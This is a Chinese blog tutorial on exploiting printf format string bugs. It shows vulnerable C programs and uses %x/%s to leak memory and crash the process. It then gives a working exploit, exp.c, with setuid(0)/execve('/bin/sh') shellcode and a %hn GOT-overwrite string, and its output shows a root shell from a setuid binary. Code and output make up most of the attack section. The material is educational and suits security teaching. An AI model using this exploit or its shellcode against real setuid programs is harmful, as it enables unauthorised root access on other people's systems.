由printf引起的格式化字符串漏洞(二)

发布时间:2009/08/02      类别:安全 | 

我们来看一个具有格式化字符串缺陷的程序 :

$ cat check.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{

char name[65];

strncpy(name, argv[1], 64);
name[64] = 0;
printf(name);
putchar(’\n’);

return 0;

}

$ gcc check.c -o check
$ ./check AAAA
AAAA

我们输入%x来验证这个程序存在格式化字符串缺陷

$ ./check AAAA.%x.%x.%x
AAAA.bfbf5978.33.0

如果不存在格式化字符串缺陷的话,我们输入”AAAA.%x.%x.%x“输出结果应该与输入一样。那么我们怎么来利用这个有缺陷的程序呢?

第一招,一击毙命

我们要先来个下马威,一下结束它的生命。我们怎么才能让这个程序异常退出呢,当然是让这个程序访问非法内存咯。从前面那个输入我们可以看出第二个%x输出的 结果是33,printf函数把根据%x把该内存中的4字节数据解释成了十六进制数,如果我们让printf把该内存中的4字节数据解释成地址又如何呢, 按照分析,我们只要输入两个%s就可以让他非法访问内存了,试试看(在你的机器上也许不一样,如果两个不行,多输入几个试试)

$ ./check AAAA.%s%s
segment fault

如果一个有这样缺陷的程序放在网络上面提供网络服务,比如 web server,后果可想而知了

第二招,窥探

这一招当然没有第一招那么狠毒,但是道德确更加败坏。我们可以利用这个缺陷查看该进程的内存

$ ./check AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAA.bfd5195a.15.0.0.0.0.0.41000000.2e414141.252e7825.78252e78.2e78252e.252e7825

利用上面这个方法,我们也许可以查看整个堆栈中的数据,但要视存放格式化字符串的缓冲区大小而定,只能查看堆栈上的数据可能对我们的诱惑少了点,能不能查看其他地方的数据呢?可以!

为了演示如何查看其他地方的数据,我们把上面那个程序稍稍改一下:

$ cat check.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char pwd[] = “xYz357″;

int main(int argc, char *argv[])
{

char name[65];

printf(”pwd addr:[%p]\n”, pwd);
strncpy(name, argv[1], 64);
name[64] = 0;
printf(name);
putchar(’\n’);

return 0;

}

$ gcc check.c -o check
$ ./check AAAA
pwd addr:[0x80496d8]
AAAA

从运行结果我们知道pwd地址在0×80496d8,我们用下面的格式化字符串来查看该地址中的内容

首先我们来确定从printf的第二个参数到我们的格式化字符串在内存中的位置之间的距离:

$ ./check AAAAAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
pwd addr:[0x80496d8]
AAAAAAA.bff0b960.1b.0.0.0.0.41000000.41414141.252e4141.78252e78

从结果可以看到,第8个%x就到了我们的字符串缓冲区,注意,第七个已经接触到一个A字符,看起来保存我们格式化字符串的地址与printf函数的第二个参数之间的距离并不是sizeof(int)的倍数,我们需要自己对齐,于是我们输入

$ ./check `perl -e ‘print “A\xd8\x96\x04\x08.%x.%x.%x.%x.%x.%x.%x.%s.%x.%x”‘`
pwd addr:[0x80496d8]
Aؖ.bfed3962.1d.0.0.0.0.41000000.xYz357.2e78252e.252e7825

看到红色字没有,我们保存在pwd中的字符串被打印出来了!当然,我们这儿是事先知道了该字符串的地址才得以成功的,如果我们要攻击别人的程序,我们是不可 能知道这个地址的,所以我们好像要通过猜,呵,好像在碰大运。

第三招,跳龙门

这才是真正的漏洞利用。如果这个程序是setuid到root的,我们的机会来了,通过他获得root权限。能不能跳成功就要看真本事了哦,阅读以下内容需要基本的汇编知识和elf文件格式的相关知识。

先来看%n在printf函数中的用法

$ cat ./printf.c
#include <stdio.h>

int main(int argc, char *argv[])
{

int i = 0;

printf(”before i = [%d]\n”, i);
printf(”%s%n\n”, argv[1], &i);
printf(”after i = [%d]\n”, i);

return 0;

}

$ gcc printf.c -o printf
$ ./printf a
before i = [0]
a
after i = [1]
$ ./printf aa
before i = [0]
aa
after i = [2]
$ ./printf aaa
before i = [0]
aaa
after i = [3]

从上面的例子我们可以看出, 对应%n的参数是int型指针,该指针所指的内存单元将被printf函数写入一个整形值,这个值就是在遇到%n之前此次调用printf函数所打印的字符总数,所以上示例子中的输出结果分别为1,2和3。我们把上示例子稍微改一下:

$ cat printf.c
#include <stdio.h>
#include <string.h>

int i = 0;

int main(int argc, char *argv[])
{

char buf[65];

strncpy(buf, argv[1], 64);
buf[64] = 0;
printf(”before i = [%d]\n”, i);
printf(buf);
printf(”\nafter i = [%d]\n”, i);

return 0;

}

$ gcc printf.c -o printf
$ ./printf AAAAAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
before i = [0]
AAAAAAA.0.1b.0.0.0.0.0.41000000.41414141.252e4141
after i = [0]

从结果我们可以看出printf的第一个参数与我们的格式化字符串之间的距离为4*8+3=35bytes,也就是说我们提供的字符串的第一个字符出现在 printf函数第八个参数的最高字节处。于是我们可以构造一个字符串作为printf的第一个参数,使其在遇到第九个参数(对应着%n)时向某个地址写 入一个值。下面我们来看如何构造这个字符串让他去修改i的值。要修改i的值,我们必须知道 i的地址并作为参数提供给printf函数,我们用gdb来提取i的地址

$ gdb -q printf
(no debugging symbols found)
Using host libthread_db library “/lib/libthread_db.so.1″.
(gdb) disass main
Dump of assembler code for function main:
0×080483d4 <main+0>:    lea    0×4(%esp),%ecx
0×080483d8 <main+4>:    and    $0xfffffff0,%esp
0×080483db <main+7>:    pushl  0xfffffffc(%ecx)
0×080483de <main+10>:   push   %ebp
0×080483df <main+11>:   mov    %esp,%ebp
0×080483e1 <main+13>:   push   %ecx
0×080483e2 <main+14>:   sub    $0×64,%esp
0×080483e5 <main+17>:   mov    0×4(%ecx),%eax
0×080483e8 <main+20>:   add    $0×4,%eax
0×080483eb <main+23>:   mov    (%eax),%eax
0×080483ed <main+25>:   movl   $0×40,0×8(%esp)
0×080483f5 <main+33>:   mov    %eax,0×4(%esp)
0×080483f9 <main+37>:   lea    0xffffffbb(%ebp),%eax
0×080483fc <main+40>:   mov    %eax,(%esp)
0×080483ff <main+43>:   call   0×80482c8 <strncpy@plt>
0×08048404 <main+48>:   movb   $0×0,0xfffffffb(%ebp)
0×08048408 <main+52>:   mov    0×80496c0,%eax
0×0804840d <main+57>:   mov    %eax,0×4(%esp)
0×08048411 <main+61>:   movl   $0×8048520,(%esp)
0×08048418 <main+68>:   call   0×80482e8 <printf@plt>
0×0804841d <main+73>:   lea    0xffffffbb(%ebp),%eax
0×08048420 <main+76>:   mov    %eax,(%esp)
0×08048423 <main+79>:   call   0×80482e8 <printf@plt>
0×08048428 <main+84>:   mov    0×80496c0,%eax
0×0804842d <main+89>:   mov    %eax,0×4(%esp)
0×08048431 <main+93>:   movl   $0×8048531,(%esp)
0×08048438 <main+100>:  call   0×80482e8 <printf@plt>
0×0804843d <main+105>:  mov    $0×0,%eax
0×08048442 <main+110>:  add    $0×64,%esp
0×08048445 <main+113>:  pop    %ecx
0×08048446 <main+114>:  pop    %ebp
0×08048447 <main+115>:  lea    0xfffffffc(%ecx),%esp
0×0804844a <main+118>:  ret
End of assembler dump.

从红色的几句汇编代码我们可以确定编译链接时分配给i的地址为0×080496c0,于是

$ ./printf `perl -e ‘print “A\xc0\x96\x04\x08.%x.%x.%x.%x.%x.%x.%x.%x.%n.%x”‘`
before i = [0]
A��.0.1d.0.0.0.0.0.41000000..2e78252e
after i = [30]

看结果就知道我们成功的修改了i的值。用这种方法我们可以修改几乎所有可写内存中的值,至于在什么地方写什么东西就看你自己咯,运用上面的方法我们用一个例 子来攻击一个具有格式化字符串漏洞的程序,使其执行我们的恶意代码,也就是从普通权限提升到root权限。当然这里有个前提就是这个具有漏洞的程序必须是 一个setuid到root的程序。

$ cat vul.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char buf[32];

int main(int argc, char *argv[])
{

char path[257];

strncpy(path, argv[1], 256);
path[256] = 0;
strncpy(buf, argv[2], 31);
buf[31] = 0;
printf(path);
printf(”\n”);

return 0;

}

$ gcc vul.c -o vul

红色代码部分造就了此程序具有格式化字符串漏洞,要攻击此程序,需要我们用 printf函数的%n来改写某些东西使程序执行流转入执行我们的代码。
这里有几种常见方法改变执行流

1,改写函数返回地址,此方法是栈溢出最常用的方法,但有个难点,就是很难定位返回地址在内存中的地址。

2,改写进程映像的.got section。所有从动态库引入的函数地址都会保存在got表中,此方法最大的优点是got表的地址是由elf文件决定的,程序装载器一般不会去修改它,所以每次由loader装入时,它都具有定值。

3,改写.dtors section。当程序从main函数反回到glibc的runtime后.dtors中的函数会被执行。优点同2

我们在这里使用上述的第二种办法。首先来确定printf函数在.got中内存地址

$ objdump -R vul
vul:     file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
080496c0 R_386_GLOB_DAT    __gmon_start__
080496d0 R_386_JUMP_SLOT   __gmon_start__
080496d4 R_386_JUMP_SLOT   strncpy
080496d8 R_386_JUMP_SLOT   putchar
080496dc R_386_JUMP_SLOT   __libc_start_main
080496e0 R_386_JUMP_SLOT   printf

我们发现上面的输出中有个putchar,估计这个是printf(”\n”)这句被翻译成了putchar了,我们可以用gdb来验证一下:

$ gdb -q vul
(no debugging symbols found)
Using host libthread_db library “/lib/libthread_db.so.1″.
(gdb) disass main
Dump of assembler code for function main:
0×08048404 <main+0>:    lea    0×4(%esp),%ecx
0×08048408 <main+4>:    and    $0xfffffff0,%esp
0×0804840b <main+7>:    pushl  0xfffffffc(%ecx)
0×0804840e <main+10>:   push   %ebp
0×0804840f <main+11>:   mov    %esp,%ebp
0×08048411 <main+13>:   push   %ebx
0×08048412 <main+14>:   push   %ecx
0×08048413 <main+15>:   sub    $0×120,%esp
0×08048419 <main+21>:   mov    %ecx,%ebx
0×0804841b <main+23>:   mov    0×4(%ebx),%eax
0×0804841e <main+26>:   add    $0×4,%eax
0×08048421 <main+29>:   mov    (%eax),%eax
0×08048423 <main+31>:   movl   $0×100,0×8(%esp)
0×0804842b <main+39>:   mov    %eax,0×4(%esp)
0×0804842f <main+43>:   lea    0xfffffef7(%ebp),%eax
0×08048435 <main+49>:   mov    %eax,(%esp)
0×08048438 <main+52>:   call   0×80482ec <strncpy@plt>
0×0804843d <main+57>:   movb   $0×0,0xfffffff7(%ebp)
0×08048441 <main+61>:   mov    0×4(%ebx),%eax
0×08048444 <main+64>:   add    $0×8,%eax
0×08048447 <main+67>:   mov    (%eax),%eax
0×08048449 <main+69>:   movl   $0×1f,0×8(%esp)
0×08048451 <main+77>:   mov    %eax,0×4(%esp)
0×08048455 <main+81>:   movl   $0×8049720,(%esp)
0×0804845c <main+88>:   call   0×80482ec <strncpy@plt>
0×08048461 <main+93>:   movb   $0×0,0×804973f
0×08048468 <main+100>:  lea    0xfffffef7(%ebp),%eax
0×0804846e <main+106>:  mov    %eax,(%esp)
0×08048471 <main+109>:  call   0×804831c <printf@plt>
0×08048476 <main+114>:  movl   $0xa,(%esp)
0×0804847d <main+121>:  call   0×80482fc <putchar@plt>
0×08048482 <main+126>:  mov    $0×0,%eax
0×08048487 <main+131>:  add    $0×120,%esp
0×0804848d <main+137>:  pop    %ecx
0×0804848e <main+138>:  pop    %ebx
0×0804848f <main+139>:  pop    %ebp
0×08048490 <main+140>:  lea    0xfffffffc(%ecx),%esp
0×08048493 <main+143>:  ret
End of assembler dump.
(gdb)

可以看出我们的printf(”\n”)函数确实被换成了putchar函数。于是我们就确定了需要改写的地址是0×080496d8, 只要把这个地址中的值改成我们的恶意代码在内存中的地址就可以让程序在调用printf(”\n”)时实际上把控制转移到我们的代码去执行。可是我们恶意 代码如何注入目标进程呢?也有多种方法,比如放在环境变量或传递给进程的参数中,或者通过进程需要的输入注入进去。在这里我们通过传递给进程的参数把恶意 代码放进去,由于argv[2]会被复制到buf中,所以通过argv[2]来注入代码,这样它在内存的地址很好确定了,用gdb可以看到buf的地址是0×8049720,这样我们就知道我们需要做的事情就是把0×080496d8这个内存单元(4bytes)中的值改写成0×8049720就ok了。分析了这么多,现在我们来写一个漏洞利用程序exp.c来攻击vul。

$ cat exp.c
#include <unistd.h>
#include <string.h>

char shellcode[] =
“\x31\xdb”
“\x8d\x43\x17″
“\xcd\x80″
“\x31\xd2″
“\x52″
“\x68\x2f\x2f\x73\x68″
“\x68\x2f\x62\x69\x6e”
“\x89\xe3″
“\x52″
“\x53″
“\x89\xe1″
“\x8d\x42\x0b”
“\xcd\x80″;

int main (int argc, char *argv[])
{

int i;
char *av[4];
char buf[256];

memset(buf, 0, sizeof(buf));
strcpy(buf,     “A\xd8\x96\x04\x08\AAAA\xd9\x96\x04\x08\AAAA\xda\x96\x04\x08″
“%8x%8x%8x%8x%8x%8x%219x%hn%119x%hn%1645x%hn”);

av[0] = argv[1];
av[1] = buf;
av[2] = shellcode;
av[3] = NULL;

execve(av[0], av, NULL);

return 1;

}

$ gcc exp.c -o exp
$ ./exp ./vul
AؖAAAAٖAAAAږbf92bfd6      1f       1
83db7f1f2d0b7f1f000
41048238
41414141
4141sh-3.2$

从红色字可以确定我们拿到了shell,但它并不是root shell,原因在于我们那个vul并未被setuid到root,如果被攻击程序是一个setuid到root的程序,那么我们就可以通过该程序从普通用户提升为root用户。在本次实验中我们利用下面的命令来设置vul程序

$ su -l root
password:
# cd ~mhmdanger
# cd formatstring/
# chown root ./vul
# chmod u+s ./vul
# ls -l vul
-rwsrwxr-x 1 root      mhmdanger 5093 09-25 19:02 vul
# exit
logout
$  ./exp ./vul
AؖAAAAٖAAAAږbfcb3fd6      1f       1
83db7fbb2d0b7fbb000
41048238
41414141
4141sh-3.2# id
uid=0(root) gid=500(mhmdanger) groups=500(mhmdanger) context=user_u:system_r:unconfined_t
sh-3.2#

哈,root权限拿到了

对于上面那个exp.c我们说明几点

1, shellcode中存放的是二进制代码,其作用是设置进程的uid=0然后执行/bin/sh。由于vul在 被普通用户执行其euid=0,所以我们可以成功设置其uid=0,再由于execve执行新程序后其uid和euid都不会改变,所以我们执行出来的 shell也就具有了root权限。

2,exp.c中我们构造的字符串为”A\xd8\x96\x04\x08\AAAA\xd9\x96 \x04\x08\AAAA\xda\x96\x04\x08%8x%8x%8x%8x%8x%8x%219x%hn%119x%hn %1645x%hn”,我们利用了%hn而不是%n有两个原因:其一,在某些系统中printf函数一次如果打印过多字符则会出现异常,所以我们只能利用 多次写入的方法;其二,%hn一次写两个字节,这样可以不破坏内存中的其它值。

发表评论